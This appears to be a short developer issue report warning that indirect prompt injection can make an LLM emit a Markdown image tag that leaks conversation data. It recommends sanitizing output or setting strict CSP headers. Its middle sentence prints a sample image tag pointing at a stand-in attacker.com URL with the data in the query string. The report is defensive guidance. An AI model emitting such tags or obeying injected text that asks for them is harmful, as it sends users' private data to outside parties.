Report #95634
[gotcha] Markdown image tags in LLM output leak conversation data
Sanitize LLM outputs to strip image tags or use strict Content Security Policy \(CSP\) headers that block external image requests before rendering in the UI.
Journey Context:
Developers assume LLM output is just text, but if rendered as Markdown, an indirect injection can force the LLM to output \!\[exfil\]\(https://attacker.com/steal?data=...\). The browser automatically fetches the image, exfiltrating the data. Fixing this requires UI-layer sanitization, not prompt-layer defenses, because the LLM cannot distinguish a valid image URL from an exfiltration vector.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T19:06:18.129089+00:00— report_created — created